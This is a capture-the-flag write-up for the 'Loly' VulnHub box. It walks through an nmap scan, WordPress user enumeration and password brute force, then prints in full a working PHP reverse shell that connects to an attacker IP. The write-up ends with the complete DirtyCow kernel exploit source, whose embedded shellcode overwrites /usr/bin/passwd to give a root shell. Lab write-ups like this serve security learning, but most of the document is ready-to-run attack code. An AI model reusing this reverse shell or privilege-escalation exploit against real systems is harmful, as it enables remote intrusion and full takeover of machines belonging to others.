Loly Writeup
Written by Razor-Admin on
Introduction
This is partical room from tryhackme entitled “Loly” form vulnhub. Difficulty of This box is easy and in this box you will learn all about exploiting Wordpress , Bruteforce login, Custom exploitation For privilage escalation. Okay no let’s Pwn this box :p.
Scanning
First think we gonna do now is scanning the machines using nmap :
$ nmap 192.168.144.121 -sC -sV 255 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-02 19:51 WIB
Nmap scan report for 192.168.144.121
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
783/tcp filtered spamassassin
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.40 seconds
As you can see the port open just http nginx which is it’s just default pages of nginx. In this case i’m trying to bruteforce or fuzzing directory and i found /wordpress :
After looking around i found page and it’s an error when opened. Then im try to put domain loly.lcto hosts :
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 Razor
# CTF
192.168.144.121 loly.lc
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Now let’s reopen browser and going to this url http://loly.lc/wordpress.
Enumeration
Wpscan
We are now the website using wordpress. In this case i want to using tools namely WPScan to enumeration website.wpscan --url http://loly.lc/wordpress --enumerate u .
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.15
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]N
[+] URL: http://loly.lc/wordpress/ [192.168.144.121]
[+] Started: Tue Mar 2 20:13:22 2021
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: nginx/1.10.3 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://loly.lc/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] WordPress readme found: http://loly.lc/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://loly.lc/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.5 identified (Insecure, released on 2020-08-11).
| Found By: Rss Generator (Passive Detection)
| - http://loly.lc/wordpress/?feed=comments-rss2, <generator>https://wordpress.org/?v=5.5</generator>
| Confirmed By: Emoji Settings (Passive Detection)
| - http://loly.lc/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.5'
[+] WordPress theme in use: feminine-style
| Location: http://loly.lc/wordpress/wp-content/themes/feminine-style/
| Last Updated: 2019-10-17T00:00:00.000Z
| Readme: http://loly.lc/wordpress/wp-content/themes/feminine-style/readme.txt
| [!] The version is out of date, the latest version is 2.0.0
| Style URL: http://loly.lc/wordpress/wp-content/themes/feminine-style/style.css?ver=5.5
| Style Name: Feminine Style
| Style URI: https://www.acmethemes.com/themes/feminine-style
| Description: Feminine Style is a voguish, dazzling and very appealing WordPress theme. The theme is completely wo...
| Author: acmethemes
| Author URI: https://www.acmethemes.com/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.0.0 (80% confidence)
| Found By: Style (Passive Detection)
| - http://loly.lc/wordpress/wp-content/themes/feminine-style/style.css?ver=5.5, Match: 'Version: 1.0.0'
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 <======================> (10 / 10) 100.00% Time: 00:00:01
[i] User(s) Identified:
[+] loly
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] A WordPress Commenter
| Found By: Rss Generator (Passive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Tue Mar 2 20:13:38 2021
[+] Requests Done: 54
[+] Cached Requests: 7
[+] Data Sent: 14.804 KB
[+] Data Received: 421.805 KB
[+] Memory used: 155.531 MB
[+] Elapsed time: 00:00:15
We can see we found user namely loly. So we can bruteforce the user to login wordpress. In this case i’m still using wpscan to bruteforce password . You also using hydra to bruteforce. wpscan : $ wpscan --url http://loly.lc/wordpress -U loly -P /home/razor/Documents/Wordlist/SecLists/Passwords/darkweb2017-top1000.txt
Now we got the password from lofi, let’s login wordpress and search plugin for exploit. After looking around i found plugin which contain upload file.
Then i found where we execute the file.
Exploit
Now let’s create php revershell and compress to zip zip shell.zip shell.php.
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.49.144'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Getting Shell
Then upload it , then before execute it we must create netcate for listener nc -lvnp 1234 .
So we are connected to shell now. In this one i’m using tools namely linux-exploit-suggester.sh And there is the result.
Privilage Escalation
As you can see there is a lot suggest of vuln privilage. In this case i want to using dirtcow to getting privilage of root. here The code to exploit and getting root.
cowroot.c :
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;
// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";
/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;
/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stopped\n");
}
void *waitForWrite(void *arg) {
char buf[sc_len];
for(;;) {
FILE *fp = fopen(suid_binary, "rb");
fread(buf, sc_len, 1, fp);
if(memcmp(buf, sc, sc_len) == 0) {
printf("%s overwritten\n", suid_binary);
break;
}
fclose(fp);
sleep(1);
}
stop = 1;
printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");
system(suid_binary);
}
int main(int argc,char *argv[]) {
char *backup;
printf("DirtyCow root privilege escalation\n");
printf("Backing up %s to /tmp/bak\n", suid_binary);
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
printf("Size of binary: %d\n", st.st_size);
char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("Racing, this may take a while..\n");
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;
}
Now we just compile this code and run in the target .
Just igrone the warning and run this.
Boom!! we are root now, this so easy for people script kiddie like me :D, And thats it my writeup of Loly from vulnhub i hope you enjoy
Happy hacking :D.
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